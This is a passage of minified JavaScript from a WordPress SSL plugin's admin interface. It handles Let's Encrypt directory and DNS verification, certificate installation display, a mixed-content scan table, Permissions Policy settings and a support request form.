challenge.","really-simple-ssl"),url:(0,y.g)("https://really-simple-ssl.com/lets-encrypt-authorization-with-dns")})," ",(0,c.__)("Please note that auto-renewal with a DNS challenge might not be possible.","really-simple-ssl"))),(0,s.createElement)("div",null,(0,s.createElement)("p",null,(0,c.__)("If the challenge directory cannot be created, or is not reachable, you can either remove the server limitation, or change to DNS verification.","really-simple-ssl")),(0,s.createElement)(i.Button,{disabled:t,variant:"secondary",onClick:()=>f()},(0,c.__)("Switch to DNS verification","really-simple-ssl"))),"error"===e.status&&"check_challenge_directory"===e.action&&(0,s.createElement)("div",null,(0,s.createElement)("h4",null,(0,c.__)("Create a challenge directory","really-simple-ssl")),(0,s.createElement)("p",null,(0,c.__)("Navigate in FTP or File Manager to the root of your WordPress installation:","really-simple-ssl")),(0,s.createElement)("ul",null,(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Create a folder called “.well-known”","really-simple-ssl")),(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Inside the folder called “.well-known” create a new folder called “acme-challenge”, with 644 writing permissions.","really-simple-ssl")),(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Click the refresh button.","really-simple-ssl"))),(0,s.createElement)("h4",null,(0,c.__)("Or you can switch to DNS verification","really-simple-ssl")),(0,s.createElement)("p",null,(0,c.__)("If the challenge directory cannot be created, you can either remove the server limitation, or change to DNS verification.","really-simple-ssl")),(0,s.createElement)(i.Button,{disabled:t,variant:"secondary",onClick:()=>f()},(0,c.__)("Switch to DNS verification","really-simple-ssl"))),"error"===e.status&&"check_key_directory"===e.action&&(0,s.createElement)("div",null,(0,s.createElement)("h4",null,(0,c.__)("Create a key directory","really-simple-ssl")),(0,s.createElement)("p",null,(0,c.__)("Navigate in FTP or File Manager to one level above the root of your WordPress installation:","really-simple-ssl")),(0,s.createElement)("ul",null,(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Create a folder called “ssl”","really-simple-ssl")),(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Inside the folder called “ssl” create a new folder called “keys”, with 644 writing permissions.","really-simple-ssl")),(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Click the refresh button.","really-simple-ssl")))),"error"===e.status&&"check_certs_directory"===e.action&&(0,s.createElement)("div",null,(0,s.createElement)("h4",null,(0,c.__)("Create a certs directory","really-simple-ssl")),(0,s.createElement)("p",null,(0,c.__)("Navigate in FTP or File Manager to one level above the root of your WordPress installation:","really-simple-ssl")),(0,s.createElement)("ul",null,(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Create a folder called “ssl”","really-simple-ssl")),(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Inside the folder called “ssl” create a new folder called “certs”, with 644 writing permissions.","really-simple-ssl")),(0,s.createElement)("li",{className:"rsssl-tooltip-icon dashicons-before rsssl-icon arrow-right-alt2 dashicons-arrow-right-alt2"},(0,c.__)("Click the refresh button.","really-simple-ssl")))))},k=e=>{const{switchButtonDisabled:l,updateVerificationType:t,setRefreshTests:a}=(0,Z.A)(),{fields:n,addHelpNotice:r,updateField:d,setChangedField:o,saveFields:h,fetchFieldsData:v,getFieldValue:u}=(0,m.A)(),{selectedSubMenuItem:f,setSelectedSubMenuItem:g}=(0,E.A)(),[w,k]=(0,p.useState)(!1);let R=e.action;return(0,p.useEffect)((()=>{R&&"challenge_directory_reachable"===R.action&&"error"===R.status&&r(e.field.id,"default",(0,c.__)("The challenge directory is used to verify the domain ownership.","really-simple-ssl"));let l=!!R&&R.output;void 0!==l&&0!==l.length||(l=!1),l&&k(l)}),[R]),"dir"===u("verification_type")?(0,s.createElement)(s.Fragment,null):(0,s.createElement)(s.Fragment,null,w&&w.length>0&&(0,s.createElement)("div",{className:"rsssl-test-results"},(0,s.createElement)("h4",null,(0,c.__)("Next step","really-simple-ssl")),(0,s.createElement)("p",null,(0,c.__)("Add the following token as text record to your DNS records. We recommend to use a short TTL during installation, in case you need to change it.","really-simple-ssl")," ",(0,s.createElement)(_.A,{target:"_blank",rel:"noopener noreferrer",text:(0,c.__)("Read more","really-simple-ssl"),url:(0,y.g)("https://really-simple-ssl.com/how-to-add-a-txt-record-to-dns")})),(0,s.createElement)("div",{className:"rsssl-dns-text-records"},(0,s.createElement)("div",null,(0,s.createElement)("div",{className:"rsssl-dns-domain"},"@/",(0,c.__)("Domain","really-simple-ssl")),(0,s.createElement)("div",{className:"rsssl-dns-field"},(0,c.__)("Value","really-simple-ssl"))),w.map(((e,l)=>(0,s.createElement)("div",null,(0,s.createElement)("div",{className:"rsssl-dns-"},"_acme-challenge.",e.domain),(0,s.createElement)("div",{className:"rsssl-dns-field rsssl-selectable"},e.token)))))),(0,s.createElement)("div",{className:"rsssl-test-results"},(0,s.createElement)("p",null,(0,c.__)("DNS verification active. You can switch back to directory verification here.","really-simple-ssl")),(0,s.createElement)(i.Button,{disabled:l,variant:"secondary",onClick:()=>(async()=>{await g("le-directories"),await d("verification_type","dir"),await o("verification_type","dir"),await h(!0,!0),await t("dir"),await v("le-directories"),a(!0)})()},(0,c.__)("Switch to directory verification","really-simple-ssl"))))};var R=t(7143);const M=e=>{let l=e.action;return l?(0,s.createElement)("div",{className:"rsssl-test-results"},"error"===l.status&&"verify_dns"===l.action&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)("p",null,(0,c.__)("We could not check the DNS records. If you just added the record, please check in a few minutes.","really-simple-ssl")," ",(0,s.createElement)(_.A,{target:"_blank",rel:"noopener noreferrer",text:(0,c.__)("You can manually check the DNS records in an %sonline tool%s.","really-simple-ssl"),url:"https://mxtoolbox.com/SuperTool.aspx"})," "+(0,c.__)("If you're sure it's set correctly, you can click the button to skip the DNS check.","really-simple-ssl")," "),(0,s.createElement)(i.Button,{variant:"secondary",onClick:()=>f.bl("skip_dns_check").then((l=>{e.restartTests(),(0,R.dispatch)("core/notices").createNotice("success",(0,c.__)("Skip DNS verification","really-simple-ssl"),{__unstableHTML:!0,id:"rsssl_skip_dns",type:"snackbar",isDismissible:!0}).then((0,g.A)(3e3)).then((e=>{(0,R.dispatch)("core/notices").removeNotice("rsssl_skip_dns")}))}))},(0,c.__)("Skip DNS check","really-simple-ssl")))):(0,s.createElement)(s.Fragment,null)};var F=t(3201);const b=()=>(0,s.createElement)("div",{className:"rsssl-lets-encrypt-tests"},(0,s.createElement)(F.A,null)),C=e=>{const{addHelpNotice:l}=(0,m.A)(),[t,a]=(0,p.useState)(!1);let n=e.action;(0,p.useEffect)((()=>{n&&"warning"===n.status&&t&&t.generated_by_rsssl&&(l(e.field.id,"default",(0,c.__)("This is the certificate, which you need to install in your hosting dashboard.","really-simple-ssl"),(0,c.__)("Certificate (CRT)","really-simple-ssl")),l(e.field.id,"default",(0,c.__)("The private key can be uploaded or pasted in the appropriate field on your hosting dashboard.","really-simple-ssl"),(0,c.__)("Private Key (KEY)","really-simple-ssl")),l(e.field.id,"default",(0,c.__)("The CA Bundle will sometimes be automatically detected. If not, you can use this file.","really-simple-ssl"),(0,c.__)("Certificate Authority Bundle (CABUNDLE)","really-simple-ssl"))),!n||"error"!==n.status&&"warning"!==n.status||f.bl("installation_data").then((e=>{e&&a(e.output)}))}),[n]);const i=e=>{let l,t=document.querySelector(".rsssl-"+e).innerText;const a=document.createElement("textarea");a.value=t,document.body.appendChild(a),a.select();try{l=document.execCommand("copy")}catch(e){l=!1}document.body.removeChild(a),(0,R.dispatch)("core/notices").createNotice("success",(0,c.__)("Copied!","really-simple-ssl"),{__unstableHTML:!0,id:"rsssl_copied_data",type:"snackbar",isDismissible:!0}).then((0,g.A)(3e3)).then((e=>{(0,R.dispatch)("core/notices").removeNotice("rsssl_copied_data")}))};return n&&t?(0,s.createElement)("div",{className:"rsssl-test-results"},!t.generated_by_rsssl&&(0,s.createElement)(s.Fragment,null,(0,c.__)("The certificate is not generated by Really Simple Security, so there are no installation files here","really-simple-ssl")),t.generated_by_rsssl&&"warning"===n.status&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)("h4",null,(0,c.__)("Next step","really-simple-ssl")),(0,s.createElement)("div",{className:"rsssl-template-intro"},(0,c.__)("Install your certificate.","really-simple-ssl")),(0,s.createElement)("h4",null,(0,c.__)("Certificate (CRT)","really-simple-ssl")),(0,s.createElement)("div",{className:"rsssl-certificate-data rsssl-certificate",id:"rsssl-certificate"},t.certificate_content),(0,s.createElement)("a",{href:t.download_url+"&type=certificate",className:"button button-secondary"},(0,c.__)("Download","really-simple-ssl")),(0,s.createElement)("button",{type:"button",onClick:e=>i("certificate"),className:"button button-primary"},(0,c.__)("Copy content","really-simple-ssl")),(0,s.createElement)("h4",null,(0,c.__)("Private Key (KEY)","really-simple-ssl")),(0,s.createElement)("div",{className:"rsssl-certificate-data rsssl-key",id:"rsssl-key"},t.key_content),(0,s.createElement)("a",{href:t.download_url+"&type=private_key",className:"button button-secondary"},(0,c.__)("Download","really-simple-ssl")),(0,s.createElement)("button",{type:"button",className:"button button-primary",onClick:e=>i("key")},(0,c.__)("Copy content","really-simple-ssl")),(0,s.createElement)("h4",null,(0,c.__)("Certificate Authority Bundle (CABUNDLE)","really-simple-ssl")),(0,s.createElement)("div",{className:"rsssl-certificate-data rsssl-cabundle",id:"rsssl-cabundle"},t.ca_bundle_content),(0,s.createElement)("a",{href:t.download_url+"&type=intermediate",className:"button button-secondary"},(0,c.__)("Download","really-simple-ssl")),(0,s.createElement)("button",{type:"button",className:"button button-primary",onClick:e=>i("cabundle")},(0,c.__)("Copy content","really-simple-ssl")))):(0,s.createElement)(s.Fragment,null)};var H=t(4937);const V=({field:e})=>{const{handleNextButtonDisabled:l,getFieldValue:t}=(0,m.A)(),{setSwitchButtonDisabled:a,actionsList:n,setActionsList:i,setActionsListItem:r,setActionsListProperty:d,actionIndex:o,setActionIndex:v,attemptCount:u,setAttemptCount:_,progress:E,setProgress:y,refreshTests:R,setRefreshTests:F}=(0,Z.A)(),V=(0,p.useRef)(1e3),S=((0,p.useRef)(!1),(0,p.useRef)(-1)),A=(0,p.useRef)(1),U=(0,p.useRef)(0),x=(0,p.useRef)({});(0,p.useEffect)((()=>{D()}),[e.id]),(0,p.useEffect)((()=>{a(!0)}),[]),(0,p.useEffect)((()=>(l(!1),n.length>0&&-1===o&&(v(0),N(0,0)),()=>{})),[n]),(0,p.useEffect)((()=>{}),[o,A.current]),(0,p.useEffect)((()=>{S.current=o,y(100/A.current*o);let e=n[o];e&&"retry"===e.do&&u>1&&y(90)}),[o]),(0,p.useEffect)((()=>{U.current=E}),[E]),(0,p.useEffect)((()=>{R&&(F(!1),D(),n.forEach((function(e,l){d(l,"status","inactive")})))}),[R]);const T={inactive:{icon:"circle-times",color:"grey"},warning:{icon:"circle-times",color:"orange"},error:{icon:"circle-times",color:"red"},success:{icon:"circle-check",color:"green"}},D=()=>{a(!0),i((()=>{let l=e.actions;return"generation"===e.id&&(l=L(l)),A.current=l.length,l})()),y(0),U.current=0,v(-1),S.current=-1},L=e=>{let l=t("verification_type");if(l||(l="dir"),"dns"===l){let l=!1;e.forEach((function(e,t){"verify_dns"===e.action&&(l=!0)}));let t=-1;if(e.forEach((function(e,l){"create_bundle_or_renew"===e.action&&(t=l)})),!l&&t>0){let l=[...e],a=l[t],s={action:"verify_dns"};s.description=(0,c.__)("Verifying DNS records...","really-simple-ssl"),s.attempts=2,l[t]=s,l.push(a),e=l}}return e},N=async l=>{let t={...n[l]};if(!t)return;let s=t.action;const i=new Date;await f.bl(s,e.id).then((e=>{let a=new Date-i;const s=Math.round(a);t.status=e.status?e.status:"inactive",t.hide=!1,t.description=e.message,t.do=e.action,t.output=!!e.output&&e.output,V.current=500,s<1500&&(V.current=1500-s),r(l,t)})).then((0,g.A)(V.current)).then((()=>{(async(e,l)=>{"success"===e.status?_(0):(Number.isInteger(e.attemptCount)||_(0),_(parseInt(u)+1));let t=new CustomEvent("rsssl_le_response",{detail:e});document.dispatchEvent(t),"finalize"===e.do?(n.forEach((function(e,t){t>l&&d(t,"hide",!0)})),v(A.current+1),a(!1)):"continue"===e.do||"skip"===e.do?(_(1),"skip"===e.do&&d(l,"hide",!0),A.current-1>l?(v(l+1),await N(l+1)):(v(l+1),a(!1))):"retry"===e.do?u>=e.attempts?(a(!1),v(A.current)):(a(!1),v(l),await N(l)):"stop"===e.do&&(a(!1),v(A.current))})(t,l)}))},O=e=>T.hasOwnProperty(e.status)?T[e.status].icon:T.inactive.icon,B=e=>T.hasOwnProperty(e.status)?T[e.status].color:T.inactive.color;if(!e.actions)return(0,s.createElement)(s.Fragment,null);let z=E;A.current===o+1&&(z=100);let P=n.filter((e=>!0!==e.hide)),I=n[o];I?x.current=I:I=x.current;let G="error"===I.status?"rsssl-orange":"";return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-lets-encrypt-tests"},(0,s.createElement)("div",{className:"rsssl-progress-bar"},(0,s.createElement)("div",{className:"rsssl-progress"},(0,s.createElement)("div",{className:"rsssl-bar "+G,style:(K=z,Object.assign({},{width:K+"%"}))}))),(0,s.createElement)("div",{className:"rsssl_letsencrypt_container rsssl-progress-container field-group"},(0,s.createElement)("ul",null,P.map(((e,l)=>(0,s.createElement)("li",{key:"action-"+l},(0,s.createElement)(H.default,{name:O(e),color:B(e)}),"retry"===e.do&&u>=1&&(0,s.createElement)(s.Fragment,null,(0,c.__)("Attempt %s.","really-simple-ssl").replace("%s",u)," ")," ",(0,s.createElement)("span",{dangerouslySetInnerHTML:{__html:h().sanitize(e.description)}})," "))))),"directories"===e.id&&(0,s.createElement)(w,{field:e,action:I}),"dns-verification"===e.id&&(0,s.createElement)(k,{field:e,action:I}),"generation"===e.id&&(0,s.createElement)(M,{field:e,action:I}),"installation"===e.id&&(0,s.createElement)(C,{field:e,action:I}),"activate"===e.id&&(0,s.createElement)(b,{field:e,action:I})));var K};var S=t(5319);const A=e=>{const{handleModal:l}=(0,S.A)();return(0,s.createElement)("button",{className:"button button-"+e.btnStyle,onClick:t=>{l(!0,e.modalData,e.item)}},e.btnText)};var U=t(1621);const x=(0,U.vt)(((e,l)=>({mixedContentData:[],dataLoaded:!1,fixedItemId:!1,action:"",nonce:"",completedStatus:"never",progress:0,scanStatus:!1,fetchMixedContentData:async()=>{e({scanStatus:"running"});const{data:l,progress:t,state:a,action:s,nonce:n,completed_status:i}=await T(!1);e({scanStatus:a,mixedContentData:l,progress:t,action:s,nonce:n,completedStatus:i,dataLoaded:!0})},start:async()=>{const{data:l,progress:t,state:a,action:s,nonce:n,completed_status:i}=await T("start");e({scanStatus:a,mixedContentData:l,progress:t,action:s,nonce:n,completedStatus:i,dataLoaded:!0})},runScanIteration:async()=>{let t=l().scanStatus;if("stop"===t)return;const{data:a,progress:s,state:n,action:i,nonce:c,completed_status:r}=await T(t);"stop"!==l().scanStatus&&e({scanStatus:n,mixedContentData:a,progress:s,action:i,nonce:c,completedStatus:r,dataLoaded:!0})},stop:async()=>{e({scanStatus:"stop"});const{data:l,progress:t,state:a,action:s,nonce:n,completed_status:i}=await T("stop");e({scanStatus:"stop",mixedContentData:l,progress:t,action:s,nonce:n,completedStatus:i})},removeDataItem:t=>{let a=l().mixedContentData;for(const e of a)e.id===t.id&&(e.fixed=!0);e({mixedContentData:a})},ignoreDataItem:t=>{let a=l().mixedContentData;for(const e of a)e.id===t.id&&(e.ignored=!0);e({mixedContentData:a})}}))),T=async e=>await f.YA("mixed_content_scan",e).then((l=>{let t=l.data;return"object"==typeof t&&(t=Object.values(t)),Array.isArray(t)||(t=[]),l.data=t,"stop"===e&&(l.state="stop"),l})),D=e=>{const{fixedItems:l,ignoredItems:a}=(0,S.A)(),{fetchMixedContentData:r,mixedContentData:m,runScanIteration:d,start:o,stop:h,dataLoaded:v,action:u,scanStatus:_,progress:f,completedStatus:g,nonce:E,removeDataItem:Z,ignoreDataItem:y}=x(),[w,k]=(0,p.useState)(!1),[R,M]=(0,p.useState)(!1),[F,b]=(0,p.useState)(null),[C,V]=(0,p.useState)(null);(0,p.useEffect)((()=>{Promise.resolve().then(t.bind(t,3757)).then((({default:e,createTheme:l})=>{b((()=>e)),V((()=>l("really-simple-plugins",{divider:{default:"transparent"}},"light")))}))}),[]),(0,p.useEffect)((()=>{r()}),[]),(0,p.useEffect)((()=>{"running"===_&&d()}),[f,_]);let U=e.field,T=[];U.columns.forEach((function(e,l){let t={name:e.name,sortable:e.sortable,grow:e.grow,selector:l=>l[e.column],right:!!e.right};T.push(t)}));let D=v?m:[];for(const t of D)t.warningControl=(0,s.createElement)("span",{className:"rsssl-task-status rsssl-warning"},(0,c.__)("Warning","really-simple-ssl")),l.includes(t.id)&&(t.fixed=!0),a.includes(t.id)&&(t.ignored=!0),t.fix&&(t.fix.url=t.blocked_url,t.fix.nonce=E),t.details&&(t.details.url=t.blocked_url,t.details.nonce=E,t.details.ignored=t.ignored),t.location.length>0&&(-1!==t.location.indexOf("http://")||-1!==t.location.indexOf("https://")?t.locationControl=(0,s.createElement)("a",{href:t.location,target:"_blank",rel:"noopener noreferrer"},(0,c.__)("View","really-simple-ssl")):t.locationControl=t.location),t.detailsControl=t.details&&(0,s.createElement)(A,{handleModal:e.handleModal,item:t,id:t.id,btnText:(0,c.__)("Details","really-simple-ssl"),btnStyle:"secondary",modalData:t.details}),t.fixControl=t.fix&&(0,s.createElement)(A,{className:"button button-primary",handleModal:e.handleModal,item:t,id:t.id,btnText:(0,c.__)("Fix","really-simple-ssl"),btnStyle:"primary",modalData:t.fix});w||(D=D.filter((e=>!e.ignored))),D=D.filter((e=>!e.fixed));let L=f+"%",N="running"===_,O="running"!==_;return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-progress-container"},(0,s.createElement)("div",{className:"rsssl-progress-bar",style:{width:L}})),"running"===_&&(0,s.createElement)("div",{className:"rsssl-current-scan-action"},u),0===D.length&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-mixed-content-description"},"running"!==_&&"never"===g&&(0,c.__)("No results. Start your first scan","really-simple-ssl"),"running"!==_&&"completed"===g&&(0,c.__)("Everything is now served over SSL","really-simple-ssl")),("running"===_||"completed"!==g)&&(0,s.createElement)("div",{className:"rsssl-mixed-content-placeholder"},(0,s.createElement)("div",null),(0,s.createElement)("div",null),(0,s.createElement)("div",null)),"running"!==_&&"completed"===g&&(0,s.createElement)("div",{className:"rsssl-shield-overlay"},(0,s.createElement)(H.default,{name:"shield",size:"80px"}))),F&&D.length>0&&(0,s.createElement)("div",{className:"rsssl-mixed-content-datatable"},(0,s.createElement)(F,{columns:T,data:D,expandableRows:!0,expandableRowsComponent:({data:e,disabled:l,handleFix:t})=>(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)("div",null,(0,s.createElement)("p",null,e.details.description.map(((e,l)=>(0,s.createElement)(n().Fragment,{key:"fragment-"+l},(0,s.createElement)("span",null,e),(0,s.createElement)("br",null)))))),(0,s.createElement)("div",{className:"",style:{display:"flex",alignItems:"center",justifyContent:"center"}},e.details.edit&&(0,s.createElement)("a",{href:e.details.edit,target:"_blank",rel:"noopener noreferrer",className:"button button-secondary",style:{display:"flex",alignItems:"center",justifyContent:"center",marginRight:"10px"}},(0,c.__)("Edit","really-simple-ssl")),e.details.help&&(0,s.createElement)("button",{href:e.details.help,target:"_blank",rel:"noopener noreferrer",className:"button button-red",style:{display:"flex",alignItems:"center",justifyContent:"center",marginRight:"10px"}},(0,c.__)("Help","really-simple-ssl")),!e.details.ignored&&"ignore_url"===e.details.action&&(0,s.createElement)("button",{disabled:l,className:"button button-primary",onClick:e=>t(e,"ignore"),style:{display:"flex",alignItems:"center",justifyContent:"center",marginRight:"10px"}},(0,c.__)("Ignore","really-simple-ssl")),"ignore_url"!==e.details.action&&(0,s.createElement)("button",{disabled:l,className:"button button-primary rsssl-action-buttons__button",onClick:e=>t(e,"fix")},(0,c.__)("Fix","really-simple-ssl")))),dense:!0,pagination:!0,paginationResetDefaultPage:R,noDataComponent:(0,c.__)("No results","really-simple-ssl"),theme:C,customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}})),(0,s.createElement)("div",{className:"rsssl-grid-item-content-footer"},(0,s.createElement)("button",{className:"button",disabled:N,onClick:()=>o()},(0,c.__)("Start scan","really-simple-ssl")),(0,s.createElement)("button",{className:"button",disabled:O,onClick:()=>h()},(0,c.__)("Stop","really-simple-ssl")),(0,s.createElement)(i.ToggleControl,{checked:1==w,onChange:e=>{k(!w)}}),(0,s.createElement)("label",null,(0,c.__)("Show ignored URLs","really-simple-ssl"))))},L=e=>{const{fields:l,updateField:a,updateSubField:n,setChangedField:r,saveFields:d}=(0,m.A)(),[o,h]=(0,p.useState)(0),[v,u]=(0,p.useState)(null),[_,f]=(0,p.useState)(null),[g,E]=(0,p.useState)([]),[Z,y]=(0,p.useState)(!1);(0,p.useEffect)((()=>{Promise.resolve().then(t.bind(t,3757)).then((({default:e,createTheme:l})=>{u((()=>e)),f((()=>l("really-simple-plugins",{divider:{default:"transparent"}},"light")))}))}),[]),(0,p.useEffect)((()=>{let e=l.filter((e=>"enable_permissions_policy"===e.id))[0];h(e.value)}),[]);const w=(l,t)=>{let s=e.field;"object"==typeof s.value&&a(s.id,Object.values(s.value)),n(s.id,t.id,l),r(s.id,l),d(!0,!1)},k=(e,t)=>{e.preventDefault();let s=l.filter((e=>"enable_permissions_policy"===e.id))[0];h(t),a(s.id,t),r(s.id,s.value),d(!0,!1)};let R=e.field;R.value;const M=["button-secondary","button-primary","button-red"];let F=e.options.map(((e,l)=>(e.button=M[l],e)));columns=[],R.columns.forEach((function(e,l){let t={name:e.name,sortable:e.sortable,width:e.width,selector:l=>l[e.column]};columns.push(t)}));let b=R.value;"object"==typeof b&&(b=Object.values(b)),Array.isArray(b)||(b=[]);let C=[];for(const e of b){let l={...e};l.valueControl=(0,s.createElement)(i.SelectControl,{help:"",value:e.value,disabled:!1,options:F,label:"",onChange:l=>w(l,e)}),C.push(l)}return v&&_?(0,s.createElement)("div",null,g.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected","really-simple-ssl")," ",g.length," ",(0,c.__)("rows","really-simple-ssl")),(0,s.createElement)("div",{className:"rsssl-action-buttons"},F.map((l=>(0,s.createElement)("div",{className:"rsssl-action-buttons__inner",key:"option-"+l.value},(0,s.createElement)(i.Button,{className:"button "+l.button+" rsssl-action-buttons__button",onClick:t=>((l,t)=>{let s=e.field;"object"==typeof s.value&&a(s.id,Object.values(s.value)),l.forEach((e=>{n(s.id,e.id,t),r(s.id,t)})),d(!0,!1),y(!0),E([]),setTimeout((()=>y(!1)),0)})(g,l.value)},"self"===l.value?(0,c.__)("Reset","really-simple-ssl"):(0,c.__)(l.label,"really-simple-ssl")))))))),(0,s.createElement)(v,{columns,data:C,dense:!0,pagination:!1,customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}},theme:_,selectableRows:!0,selectableRowsHighlight:!0,onSelectedRowsChange:function(e){y(!1),E(e.selectedRows)},clearSelectedRows:Z}),1!=o&&(0,s.createElement)("button",{className:"button button-primary",onClick:e=>k(e,!0)},(0,c.__)("Enforce","really-simple-ssl")),1==o&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-shield-overlay"},(0,s.createElement)(H.default,{name:"shield",size:"80px"})),(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-progress-status rsssl-learning-mode-enforced"},(0,c.__)("Enforced","really-simple-ssl")),e.disabled&&(0,s.createElement)(s.Fragment,null,(0,c.__)("Permissions Policy is set outside Really Simple Security.","really-simple-ssl")," "),!e.disabled&&(0,s.createElement)(s.Fragment,null,(0,c.__)("Permissions Policy is enforced.","really-simple-ssl")," "),!e.disabled&&(0,s.createElement)("a",{className:"rsssl-learning-mode-link",href:"#",onClick:e=>k(e,!1)},(0,c.__)("Disable","really-simple-ssl")))),e.disabled&&1!=o&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-progress-status rsssl-disabled"},(0,c.__)("Disabled","really-simple-ssl")),(0,c.__)("The Permissions Policy has been disabled.","really-simple-ssl")))):null},N=e=>{const[l,t]=(0,p.useState)(!1),a=l=>{i.__experimentalConfirmDialog&&e.field.warning&&e.field.warning.length>0&&!e.field.value?t(!0):n()},n=l=>{let t=!e.field.value;e.onChangeHandler(t)};let c=e.field,r=c.value?"is-checked":"",m=e.disabled?"is-disabled":"";return(0,s.createElement)(s.Fragment,null,i.__experimentalConfirmDialog&&(0,s.createElement)(i.__experimentalConfirmDialog,{isOpen:l,onConfirm:async()=>{t(!1),n()},onCancel:()=>{t(!1)}},c.warning),(0,s.createElement)("div",{className:"components-base-control components-toggle-control"},(0,s.createElement)("div",{className:"components-base-control__field"},(0,s.createElement)("div",{"data-wp-component":"HStack",className:"components-flex components-h-stack"},(0,s.createElement)("span",{className:"components-form-toggle "+r+" "+m},(0,s.createElement)("input",{onKeyDown:e=>(e=>{"Enter"===e.key&&(e.preventDefault(),a())})(e),checked:c.value,className:"components-form-toggle__input",onChange:e=>a(),id:c.id,type:"checkbox",disabled:e.disabled}),(0,s.createElement)("span",{className:"components-form-toggle__track"}),(0,s.createElement)("span",{className:"components-form-toggle__thumb"})),(0,s.createElement)("label",{htmlFor:c.id,className:"components-toggle-control__label"},e.label)))))},O=()=>{const[e,l]=(0,p.useState)(""),[t,a]=(0,p.useState)(!1);let n=t||0===e.length;return(0,s.createElement)(s.Fragment,null,(0,s.createElement)(i.TextareaControl,{disabled:t,placeholder:(0,c.__)("Type your question here","really-simple-ssl"),onChange:e=>(e=>{l(e)})(e)}),(0,s.createElement)("button",{className:"button button-secondary",disabled:n,onClick:l=>(a(!0),f.YA("supportData","refresh").then((l=>{let t=e.replace(/(?:\r\n|\r|\n)/g,"--br--"),a="https://really-simple-ssl.com/support?customername="+encodeURIComponent(l.customer_name)+"&email="+l.email+"&domain="+l.domain+"&scanresults="+encodeURIComponent(l.scan_results)+"&licensekey="+encodeURIComponent(l.license_key)+"&supportrequest="+encodeURIComponent(t)+"&htaccesscontents="+encodeURIComponent(l.htaccess_contents)+"&debuglog="+encodeURIComponent(l.system_status);a=(0,y.g)(a),window.location.assign(a)})))},(0,c.__)("Send","really-simple-ssl")))},B=(0,U.vt)(((e,l)=>({learningModeData:[],dataLoaded:!1,fetchLearningModeData:async l=>{let t={};t.type=l,t.lm_action="get";let a=await f.Eo("learning_mode_data",t).then((e=>e));"object"==typeof a&&!0===a.request_success&&(a=Object.values(a)),Array.isArray(a)||(a=[]),e({learningModeData:a,dataLoaded:!0})},updateStatus:async(t,a,s)=>{let n=l().learningModeData,i={};i.type=s,i.updateItemId=a.id,i.enabled=1==t?0:1,i.lm_action="update";for(const e of n)a.id===e.id&&e.status&&(e.status=i.enabled);e({learningModeData:n}),n=await f.Eo("learning_mode_data",i).then((e=>e)),"object"==typeof n&&(n=Object.values(n)),Array.isArray(n)||(n=[]),e({learningModeData:n,dataLoaded:!0})},deleteData:async(t,a)=>{let s=l().learningModeData,n={};n.type=a,n.updateItemId=t.id,n.lm_action="delete",s.forEach((function(e,l){e.id===t.id&&s.splice(l,1)})),e({learningModeData:s}),s=await f.Eo("learning_mode_data",n).then((e=>e)),"object"==typeof s&&(s=Object.values(s)),Array.isArray(s)||(s=[]),e({learningModeData:s,dataLoaded:!0})}}))),z=e=>{const{updateStatus:l}=B();let t=1==e.item.status?"button button-primary rsssl-status-allowed":"button button-default rsssl-status-revoked",a=1==e.item.status?(0,c.__)("Revoke","really-simple-ssl"):(0,c.__)("Allow","really-simple-ssl");return(0,s.createElement)("button",{onClick:()=>l(e.item.status,e.item,e.field.id),className:t},a)},P=e=>{const{deleteData:l}=B();return(0,s.createElement)("button",{type:"button",className:"button button-red 